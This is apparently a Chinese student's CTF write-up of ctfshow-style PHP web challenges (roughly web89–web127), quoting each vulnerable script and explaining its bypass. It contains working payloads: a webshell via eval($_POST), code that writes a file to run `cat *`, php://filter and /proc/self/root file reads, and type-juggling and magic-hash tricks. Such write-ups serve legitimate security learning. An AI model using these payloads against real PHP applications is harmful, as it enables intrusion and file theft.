web89
<?php include("flag.php"); highlight_file(_FILE_);if(isset($_GET['num'])){$num=$_GET['num'];if(preg_match("/[0-9]/",$num)){die("no no no"); #结束脚本呢执行输出指定信息}if(intval($num)){#把参数转换整数类型echo $flag;} }
preg_match 函数正则匹配0-9 如果匹配到就失败 intval将参数值转换为整数类型 这就犯冲突了
但是preg_match函数只能处理字符串 当传入的是数组的时候就返回false 从而绕过die函数 这时intval接收到数组 会将数组的每一个值转换为整型从而条件语句为真 输出flag
对于我来说有特性(php基础知识)
1preg_match只能处理字符串
2 url传值的时候 服务器接收值是字符串
2变量可以是数组 :$num是变量 但是传值的时候可以是num[]=???
3当文件B包含一个文件A时 如果在A中定义了一个变量的值 在B中可以获取到该变量的值
web90
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断echo $flag;}else{echo intval($num,0);} }
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较值是否相等
代表完全相等 算是python中的同一性 is
如果传入值为4476 就会输出nonono 如果输出flag变量的值必须是4476 这就冲突了 如何解决呢
if(intval($num,0)===4476){ #第二个参数默认是把变量的值当做十进制 为0时 根据前缀进行判断
第一种方法:十进制是没有前缀的 但是+4476后(到后端就是字符串+4476 所以不等于字符串4476) 就绕过了死亡函数die 但是intval因为有0的参数 它会根据前缀将+4476识别为十进制的4476 所以4476===4476
第二种方法:0x117c是十六进制的4476 传入0x117c字符串 也会绕过死亡函数 并且intval函数会将0x117c当作十六进制 转换成十进制整数
注意 intval默认情况下是转换成十进制整形
对于我来说有特性(php基础知识)
1传参到后端默认是字符串
2intval函数 如果第二个参数为0 就会根据变量的前缀 转换成对应的十进制整形
3===表示完全相等 值和类型必须都相等
web91
<?php show_source(_FILE_);#将页面源代码输出到页面中 include("flag.php"); $a=$_GET['cmd']; #正则匹配变量 以php开头并且以php结尾的 也就是精确匹配 #字符串中必须只有php m修饰符代表多行匹配 也就是说能匹配到php\n或者php\nphp #如果没有m修饰符 那么不能匹配到php\n了 因为多行匹配的原因 #正则i 为忽略大小写 if(preg_math('/^php$/im',$a)){if(preg_math('/^php$/i',$a)){echo 'hacker';}else{echo $flag;} else{echo "nonono"; } }
首先传入的字符串必须是php开头结尾的字符串 才能执行语句块 但是语句块内如果字符串为php那就会输出hacker 这就犯冲突了
这就利用到了m修饰符的作用 多行匹配 以字符串中\n为分隔符 分隔出多行 如果其中一行匹配到php开头或者结尾 就算匹配成功 例如字符"aaa\nphp"第二行匹配到了php字符串 返回true 执行语句块 在语句块中正则匹配 单行匹配 这样就不会将\n视为分隔符了 而是将"aaa\nphp"当作一行进行匹配 从而匹配不上 这样就能输出flag了
对于我来说有特性(php基础知识)
1正则匹配m修饰符为多行匹配 视\n为分隔符 分割多行逐行匹配
2 传参是必须使用%0a作为换行符\n不行 原因:在 HTTP 协议中,换行符(特殊字符)需要使用 %0a(即
\n
的 URL 编码形式)来表示,而不是使用\n \n在url中属于非法字符 从而导致无法解析错误等一系列问题
3 空格如果进行url编码可能会变成+并不是%20 其中使用urlencode空格会变成+ 注意即可
4 和这道题没关为什么传注释符的时候最好使用--+ 因为--后要加上空格 +或者%20就是空格url编码后的 如果不使用+ --后的空格 可能服务器接收不到 注意就行
web92
<?php include("flag.php"); highlight_file(_FILE_); if(isset($_GET['num'])){$num=$_GET['num'];if($num==4476){die("no no no");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);} }
php特性:比较运算符 ==在进行比较的时候,会先将字符串类型转化成相同 也就是说如果传值为4476或者+4476 会将字符串转换成$num==4476中的4476同一类型也就是整形
因为intval中第二个参数为0 所以传值为十六进制的4476即可
web93
<?php include("flag.php"); highlight_file(_FILE_); if(isset($_GET['num'])){$num=$_GET['num'];if($num==4476){die("no no no");}if(preg_match("/a-z/i",$num)){die("no no no");}if(intval($num,0)==4476){echo $flag;}else{echo intval($num,0);} }
上一题的进阶版 就是不能加上一个条件不能字符串中不能存在a-z 那么就不能使用0x117c 十六进制的4476了 传参使用八进制的4476即可 因为八进制前缀为0 当然也可以使用小数进行绕过4476.1
web94
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if($num==="4476"){die("no no no!");}if(preg_match("/[a-z]/i", $num)){die("no no no!");}if(!strpos($num, "0")){//在变量中如果匹配到字符0返回下标位置die("no no no!");}if(intval($num,0)===4476){echo $flag;} }
使用了===进行完全比较 类型与值必须完全相等 并且是和“4476”字符串进行比较
因为有!strpos不能使用八进制的4476 因为开头是0 返回的下标值也为0 取反为1 就会执行语句块
那就使用小数就能 4476.0 小数点后必须有0 因为strpos函数如果匹配不到0返回false 取反为true
php特性
strpos函数匹配字符串中子字符串 如果匹配到返回子字符串第一个位置的下标
web95
<?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){$num = $_GET['num'];if($num==4476){ # 不能使用小数点 因为==会转换成相同类型 4476.0转换为4476进行比较die("no no no!");}if(preg_match("/[a-z]|\./i", $num)){ #不能有字母die("no no no!!");}if(!strpos($num, "0")){ #必须要有0die("no no no!!!");}if(intval($num,0)===4476){#完全相等类型和值echo $flag;} }
有点难搞 不能使用小数点(第一个比较为==会转换类型) 十六进制 八进制
那就逐个尝试
本来想着使用?num=-4476.0 转换类型也没事先通过第一个死亡函数再说 但是发现第二个死亡函数过滤了小数点 于是使用-04476
那就是用?num=-04476 结果无输出 虽然绕过了所有的死亡函数 但是卡在了输出flag的条件上
在本地环境试 如何让intval($num,0)===4476 $num值为多少前提在-04476基础上 因为能绕过前三个死亡函数
还好在本地测试了 -04476还真不行 我以为intval在转换的时候只识别第一个字符负号- 结果识别的是0 就变成-4476是一个八进制 转换十进制 为-2366 那就改为-010547 既然这样那就没必要因为绕过第一个死亡函数而使用-号了 直接使用+号即可+010547 传参+变为空格也是可以的
php特性 ==和===
== 比较时会转换类型
=== 必须完全相等 类型以及值
web96
<?php highlight_file(__FILE__);if(isset($_GET['u'])){if($_GET['u']=='flag.php'){die("no no no");}else{highlight_file($_GET['u']);} }
有两种方法 也算是两个知识点
第一种./file的方式 也就是./flag.php
?u=./flag.php
第二种直接使用php数据流的方式读取文件内容
?u=php://filter/convert.base64-encode/resource=flag.php
注意highlight_file函数必须完全匹配才能显示文件内容 举例文件名为flag.php 如过高亮flag.PHP是不可以的
web97
<?php include("flag.php"); highlight_file(__FILE__) if(isset($_POST['a']) and isset($_POST['b'])){ if($_POST['a']!=$_POST['b']){if(md5($_POST['a']===md5($_POST['b'])))echo $flag;elseprint 'wrong'; } }
a和b必须不同 但是md5值必须相同 想让值不同md5值相同 跟不就不可能
这个时候就用上md5只能处理字符串的知识点了 如果a和b是数组md5处理不了就会返回false
从而false===false
又学到一个知识点在php中 数组就是一个对象
这里使用bp不知道为啥 又来一个小知识点使用bp的时候记得分清GET和POST哦
web98
<?php include("flag.php"); $_GET?$_GET=&$_POST:'flag';#这个引用就是地址 类似于c语言中的地址 可以理解为改变了GET的地址 $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
首先就是三元运算 类似于sql中的if函数 先判断GET全局变量是否存在值如果存在将POST引用复制给GET 否则返回一个flag字符串常量
中间cookie和server对我们来说没用 最后的条件是让get中的http_flag=flag 就能输出$flag了 但是因为第一个三目运算的原因 如果get存在值 就会将post引用传给get 从而get又变空了 这个时候只要保障POST中存在HTTP_FLAG=flag且GET存在任意一个变量即可
知识点$_GET是全局变量 如果进行传参 这个全局变量就包含一个关联数组 键就是参数名 值为参数值
web99
<?php highlight_file(__FILE__); $allow=array();#创建一个数组 for ($i=36;$i<0x36d;$i++){#877 从36累加到0xarray_push($allow,rand(1,$i));#生成一个1-$i的随机整数包含边界放置到数组最后方 } if(isset($_GET['n'])&&in_array($_GET['n'],$allow)){file_put_contents($_GET['n'],$_POST['content']); }
知识点
in_array函数判断指定字符串是否存在数组中 弱类型比较 1.php和1比较 是比较成功的
in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为整数1
file_put_contents函数将数据写入文件中 如果文件不存在会创建文件
&&比and优先级高&哪怕第一个为假也会计算第二个
php中的数组 可以是只有值的索引就是0开始的 也可以是键值对形式
直接写一句话木马即可
web100
<?php highlight_file(__FILE__); include("flag.php"); //flag in class ctfshow; $ctfshow= new ctfshow(); $ctfshow是一个类对象 既然能实例化肯定是包含的ctfshow.php里面定义了一个类 $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; # 判断变量是否为数字或者数字字符串 # 等于号优先级高 所以只用看v1为数字即可 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){if(!preg_match("/\;/",$v2)){if(preg_match("/\;/",$v3)){eval("$v2('ctfshow')$v3");}} }
关键在这一句 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
因为=优先级高 所以他会先对$v0进行赋值 这样就达到了只要是v1为数字即可
if条件中要保证v2没有分号v3要有分号
第一种方法
eval("$v2('ctfshow')$v3"); 这是输出flag的函数 如果能输出呢
var_dump('ctfshow');
echo('ctfshow');
print_r('ctfshow');
都不行
只输出 ctfshow这个字符串 这是为什么呢 因为我们要输出的是$ctfshow变量 但是代码中是ctfshow字符串 从而他只能输出 字符串了
解决方法就是注释掉
eval("var_dump($ctfshow)/*('ctfshow')*/;");
第二种方法
因为有eval直接尝试一下phpinfo()是否可以
?v1=1&v2=phpinfo()?>&v3=; 可以 直接截断代码 无报错但是phpinfo后的("ctfshow")以及$v3的值会当成字符串输出出来
?v1=1&v2=phpinfo()&v3=; 可以 直接执行phpinfo() 有点小报错不影响
?v1=1&v2=phpinfo();/*&v3=*/; 不可以 v2不能存在分号
?v1=1&v2=phpinfo();echo&v3=;不可以 和上面同理
成功执行后确定为漏洞点 使用一句话木马替换phpinfo
?v1=1&v2=eval($_POST['a'])?>&v3=; v2末尾使用的是?>才可以
虽然最终语句变成了eval("eval(system('ls');)?> 照样可以执行ls
使用shell方式查看文件内容
a=system('tac ctfshow.php');
使用php中高亮显示文件函数 实现实现文件内容
a=highlight_file('./ctfshow.php'); 切记要用引号哦 不使用./也可以
都可以查看ctfshow.php中的flag知标题一识点
1 如果包含了一个文件 那在本文件下可以使用包含文件的变量 以及类 等包含文件内容
2 echo只能以字符串的形式输出 不能输出对象 (但是在类中定义魔术方方法__toString() echo也能输出 输出的是魔术方法返回值)var_dump和print_r可以详细输出对象
3eval函数内的执行语句 有没有分号都能执行成功
4 想要执行shell中的 必须使用system函数 光用eval只是执行代码
web101
<?php highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}} } ?>
相较于上一题来说v2过滤了很多字符 还有一种方法能输出就是php反射函数
注意 php反射类简单理解就是 获取了类的信息 以var_dump方式获取后成为一个字符串 使用echo输出出来
?v1=1&v2=echo new Reflectionclass&v3=;
eval("echo new Reflectionclass('ctfshow');");
实践是检验真理的 要多多尝试
web102
<?php highlight_file(__FILE__); $v1=$_POST['V1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v4=is_numeric($v2)and is_numeric($v3); if($v4){$s=substr($v2,2);#获取字符串从第二个字符开始的子串$str=call_user_func($v1,$s);#执行函数 $v1作为函数名 $s作为参数echo $str;#输出变量file_put_contents($v3,$str);#将数据写文件 } else{die('hacker'); }
首先就是v2必须是全数字的 v3任意
获取v2的第二个字符开始的字串作为$str的值 也就是为了获得正确的payload最前方要填充两个无用字符 从而获得除了前两个无用字符后的有用字符
call_user_func($v1,$s) 可以理解为执行函数 $v1($s)
也就是说$v1($s) 输出的结果是我们要的payload
知识点
1 php5(php7.1一下)下is_numeric可识别16进制(如果0x开头 就会识别为十六进制字符串 从而绕过),如0x2e,然后调用hex2bin转成字符串写入任意木马
十六进制字符串转换二进制字符串也就是相当于
但是这道题环境用的是php7.0以上的环境所以就不能用0x开头从而绕过is_numeric函数 导致大多
为了能绕过is_numeric函数 目前构造一个很神奇的字符串
5044383959474e6864434171594473
十六进制转换字符串
PD89YGNhdCAqYDs
base64解码
<?=`cat *`;
因为开头不能使用0x所以 目前只有这一个字符串能满足要求 里面的e会被函数当成科学计数法从而绕过死亡函数
但是十六进制转换字符串需要用一个函数 base64解码又要用一个函数 但是题目只有一个函数位置
于是写文件的时候可以通过过滤器来对写的内容进行过滤php://filter/write=convert.base64-
decode/resource=2.php(该过滤器可以在文件操作函数中使用,起到过滤作用)变成了file_put_contents(php://filter/write=convert.base64-decode/resource=2.php,$str);
简单解释 将数据$str利用过滤器进行base64解码写入文件2.php中
这样只需要十六进制转换字符串的函数就可以了
访问2.php文件
2 <?=`cat *`; cat * 是一个shell命令如果一个php文件中存在该内容 它会执行
cat *
命令并将结果输出到页面上3 等号的优先级大于and
web103
<?php highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');} } else{die('hacker'); }?>
过滤了payload中 php 且不区分大小写 这么一看对我们没影响
尝试一波发现确实没影响 上一道题其实不是那么做的 上一道题就是让你写任意的木马 但是环境配成7.1了 只能按照这道题的方式去做 就算上一题用的5.2版本且也使用者这个正则 写任意木马 也不影响 因为$str是base64编码后的字符串 匹配字符串中存在php的概率很小
web104
<?php highlight_file(__FILE__); include("flag.php"); if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;} } ?>
sha1就是将字符串进行哈希加密使用SHA1的方式
第一种正常解 函数没有判断传参的两个值是否不相等
使v2v1值相等即可 他们的哈希加密值也相等
第二种解法
这道题和md5加密那道题一样 就i是换了一个函数
加密函数的参数必须传入字符串 否则函数返回值为false 传入从数组而实现false==false
第三种解法
大佬跑出来的
aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
在==比较的时候 对字符串形式的数值,PHP 会尝试将其转换为数值类型进行比较恰巧这个payload中除了e全是数字 成功转换为数值类型 0的任意次方还是等于0 所以0==0
web105
<?php highlight_file(__FILE__); include("flag.php"); error_reporting(0);#安全级别为0 不输出任何报错信息 $error="你还想要flag嘛";#如果有报错不输出报错语句而输出该语句 $suces="既然你想要就给你吧"; # 遍历变量中的键值对 对于http来说就是遍历传入的参数名以及参数值 foreach($_GET as $key=>$value){if($key==='error'){die("what are you doing");}$$key=$$value;#将变量value值作为变量名 } foreach($_POST as $key=>$value){if($key==='error'){die("what are you doing");}$$key=$$value; } if(!($_POST['flag']==$flag)){die($error);#输出 } echo "are you good".$flag."\n" die($suces);
有个死亡函数 必须让post中的falg参数的值为flag 才能绕过死亡函数 这有点过分了 我要知道那还做啥题了哈哈
$$key=$$value; 很关键 先看GET参数
如果想要获取到flag $value=flag -----$$key=$flag
参数名随便来一个x $key=x -----$x=$flag
$$key=$$value; 再看POST参数
现在flag值已经存在于$x中了 使$value=x -----$$key=$x
到这我想了好久如何对POST参数进行赋值 他是将post参数遍历存入key中的 反赋值只靠-$$key代表$post['flag']不存在呀
从新审核一下代码 没必要绕过死亡函数 直接让die输出错误error即可
所有让$key=error --------$error=$x
第二种方法
?suces=flag&flag=
这个也比较好理解 先把flag值放入suces中 然后 让$flag=$ php会将$视为空字符串 从而$flag为空
因为post中没有flag参数 所有 post['flag']也为空
web106
和web104一个样 就是增加了v1!=v2
方法一
传数组 使得函数返回值为false
大佬方法
aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
web107
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if(isset($_POST['v1'])){$v1=$_POST['v1'];$v3=$_GET['v3'];parse_str($v1.$v2);if($v2['flag']==md5($v3)){echo $flag;} }
首先我想到 $v2['flag']==md5($v3) 是不可能的 只能让md5返回值为false
在php中未定义的值被转换为布尔值时会被视为 false 所以无需定义v2中的flag即可 但是要注意 必须还要给v1随便传值 否则v2没被定义 就会出现报错等问题
第二种方法 弱类型比较 flag=0 让md5函数返回一个0e开头的即可 这样0=0
GET: ?v3=240610708 POST: v1=flag=0
web108
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php"); if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {die('error');} //只有36d的人才能看到flag if(intval(strrev($_GET['c']))==0x36d){#经过反转再转换整形是否等于十六进制的0x36d 也就是877echo $flag; }?>
intval函数本来想着将十六进制转换十进制可不可以 不可以 必须给定第二个参数intval($str, 16);
ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) 必须a-z开头 a-z结尾 如果没匹配上 执行语句块
为了让他不执行语句块 只能让他匹配上 a%00778 只能使用截断了 ereg函数就有这个漏洞 识别%00也就是空字符就不往下识别了 从而绕过了死亡函数
经过反转877空字符a 就转换为了877 所以最终能得到flag
知识点:
==弱比较 十进制877和十六进制0x36进行比较的时候 是相等的 因为php会将其中十六进制自动转换为十进制
web109
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");} }
#但是这道题没给类所以要使用内置类
#死记硬背 有个mysqli内置类 用于mysql连接的 需要传递很多参数用于连接数据库 如果这时传递一个函数作为参数 也会执行 比如phpinfo这个页面还在加载也就是还在连接数据库中 显然他肯定连接不上
既然能执行phpinfo 那肯定就能执行system('ls')
知识点system('ls')()()多几个括号不报错
知识点题外话 php可能有很多内置类 在phpinfo中是可以看到的
exception类也如此 这东西就是死记硬背简单理解就行 记住这个类实例化时传入函数可以被执行 前提是实例化的对象被echo输出
小知识 echo phpinfo() 会输出php信息 不使用echo也可以输出php信息
echo system('ipconfig'); 也是一个道理 不使用echo也是可以将结果输出到页面来
但是字符串必须要echo才能输出到页面来因为出发了tostring 有return的返回值 使用echo输出
这道题弄了将近两个点 很多很多基础知识都是很基础的
web110
<?php highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){die("error v1");}if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){die("error v2");}eval("echo new $v1($v2());");}?>
和上一道题同理 但是传参的时候禁用了很多字符 貌似没影响
尝试一下看看有什么影响
?v1=mysqli&v2=phpinfo 成功
?v1=mysqli&v2=system(ls) 不成功查看后发现禁用了()
看来条件很苛刻 看来只能使用正常的$v1($v2() 函数调用 只能使用内置类然后无参进行rce
rce远程命令执行
?v1=FilesystemIterator&v2=getcwd
DirectoryInterator:遍历目录的类
FilesystemIterator:遍历文件的类getcwd函数获取当前目录的路径返回一个字符串
web111
<?php highlight_file(__FILE__); error_reporting(0); include("flag.php");function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1); } if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);} } ?>
本来以为没什么难度 正常传值 ?v1=ctfshow&v2=falg 但是输出NULL也就是没有值 这是为什么呢
因为在方法外部进行的文件包含 在方法内部不能直接调用文件包含的文件中的变量的 不光是文件包含的变量 只要是方法外部的变量就不能在方法内使用 除非传参
那就使用全局变量$GLOBALS 将全局变量的所有值赋值给$ctfshow 然后进行输出
知识点 死记硬背即可
1 eval("$$v1 = &$$b;"); 可以
eval("$v1 = &$b;"); 不可以
ai说是eval函数的原因无法直接处理引用 但是对$$又有特殊规则
2 $GLOBALS 全局变量 是一个数组里面存着所有变量的名和值
web112
<?php highlight_file(__FILE__); error_reporting(0); function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;} } $file=$_GET['file']; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; }
有一个判断 参数不能是个文件 这该如何绕过
直接用过滤器 过滤器不影响 伪协议不影响file_get_contents,和highlight_file。
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113
和上一题同理就是不能使用filter php过滤器了
它试图打开并读取经过 zlib 压缩的
flag.php
文件,并返回解压后的内容 不是压缩文件也可以 简单记住就是远程读取文件 是一个伪协议compress.zlib://flag.php 不影响file_get_contents,和highlight_file。<?php highlight_file(__FILE__); error_reporting(0); function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;} } $file=$_GET['file']; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; } <?php
预期解就是目录溢出
预期解payload:file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,显示的内容是根目录下的内容
原理:利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了知识点 highlight_file 不能高亮显示数组
web114
<?php error_reporting(0); highlight_file(__FILE__); function filter($file){if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;} } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; }
无法使用目录溢出 禁用了root
无法使用读取压缩文件的伪协议compress.zlib://flag.php
但是发现他并没有禁用filter过滤器 php://filter/resource=flag.php
web115
<?php include("flag.php"); highlight_file(__FILE__); error_reporting(0); function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num; } $num=$_GET['num']; # 必须是数字或者数字字符串 不能完全等于字符36 函数返回值等于字符36 if(is_numeric($num)and $num!=='36'and trim($num)!=='36'and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker";} } else{echo"hacker"; }
%0c36
is_numeric($num) ‘ 36’ 在数字前加空格 也会认为是数字字符串
$num!=='36' 不完全等于‘36’ 因为有个tab
trim($num)!=='36' 去空格 但是不去除%0c
filter($num)=='36' ‘36’与‘ 36’ 进行弱类型比较是相等的
知识点
\t 的意思是 :水平制表符。将当前位置移到下一个tab位置。%09
\r 的意思是: 回车。将当前位置移到本行的开头。%0D
\n 的意思是:回车换行。将当前位置移到下一行的开头。%0A
\f的意思是:换页。将当前位置移到下一页的开头。%0C
\0的意思是:空字符 %00
\v的意思是:垂直制表符 和制表符差不多意思%0B
空格是%20
web123
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}} } ?>
按照要求CTF_SHOW和CTF_SHOW.COM 不能为空
于是post传参
CTF_SHOW=1&CTF_SHOW.COM=2
但是
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格(有的时候可以用+表示)、点、[ 则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
于是变为了CTF_SHOW=1&CTF[SHOW.COM=2
$c=$_post['fun']
fun为phpinfo() 不输出就是没执行phpinfo() 不知道什么原因 试试echo
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo 1 成功输出
那直接echo $flag即可
第二种方法
implode(get_defined_vars())
知识点:
1 如果一个变量为空 他不小于任何数
2 字符串与整数比较的时候 首先转换类型 整数和字符串比较 如果字符串首位不为数字 自会转换为0 字符串与字符串比较会逐个比较ascii
3
使用传参传一个变量也是这个意思(?a=$b=1 这个传变量我测试了一下 感觉不对啊)
我就是举个例子和这道题没关
这个只是点有问题 记住这个问题就行 有异议 我说的不对 通过post应该无法给get的参数传值
太乱了反正就是经过我的测试 这第三个知识点全是错的 过了一个小时如果TZY=fun($_GET[1]) 这是个函数可以 但是需不需要eval 就不知道了
4 echo implode(get_included_files())
get_included_files() 返回目录下文件的路径 多个路径组成数组
implode函数将数组转换为字符串 从而可以让echo输出
getcwd 返回当前目录的绝对路径
get_defined_vars() 返回已有变量以及变量值组成的数组
5 eval 本质上是代码执行 所以就可以使用函数 然后使用echo输出返回值
web125
和上一题一样过滤了echo print var_dump等 输出 并且禁用了phpinfo() system()等函数
但是
第一种方法
var_export函数也能输出 和echo一个效果
第二种方法 高亮显示文件
GET:flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
第三种方法
extract($_POST)
函数会将$_POST
数组中的键值对解包为独立的变量,其中键名将成为变量名,键值将成为变量的值。CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
web126
<?php highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}} }
又禁用了|g|i|f|c|o|d/
本来想着
GET:a=flag_give_me
POST:&fun=extract($_GET);$fl0g=$a
但是他禁用了分号 并且禁用了很多字母
然后想着
GET:?a[fl0g]=flag_give_me
POST:&fun=extract($_GET[a])
但是他禁用了c
extract换成parse_str
GET:?a=fl0g=flag_give_me
POST:&fun=parse_str($_GET[a])
但是他禁用了g
怎么实现呢?这道题用到了$a=$_SERVER['argv'];
server中的argv就是一个数组 从而$a也是一个数组
数组里面是什么呢 举个例子
GET:?123+456+fl0g=flag_give_me(这里不知道为什么%20不行必须用+ 难道是容易和我们的结合起来服务器分不清?比如被服务器识别为%204)
POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])
这个时候 $a[0]:123 $a[1]:456 $a[2]:fl0g=flag_give_me
+到服务器就变成了空格 可以理解+(空格)为分隔符
所以答案1为
GET:?123+456+fl0g=flag_give_me
POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])
答案2为
GET:
?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
虽然assert()
函数用于检查一个表达式是否为真 但是一旦这个表达式为一个php语句 他也会执行答案3为
GET:
?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
注意哦eval里面的语句要用分号哦
web127
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;} } if(waf($url)){die("嗯哼?"); }else{extract($_GET); } if($ctf_show==='ilove36d'){echo $flag; }
逻辑没难点主要就是 $_SERVER['QUERY_STRING']会获取到什么 搜索发现
$_SERVER['QUERY_STRING'] 的结果就是url问号后面的部分 那这道题就简单了
知识点:点和空格还有[ 在变量名中是不可以存在的 到服务器会自动转换为下划线
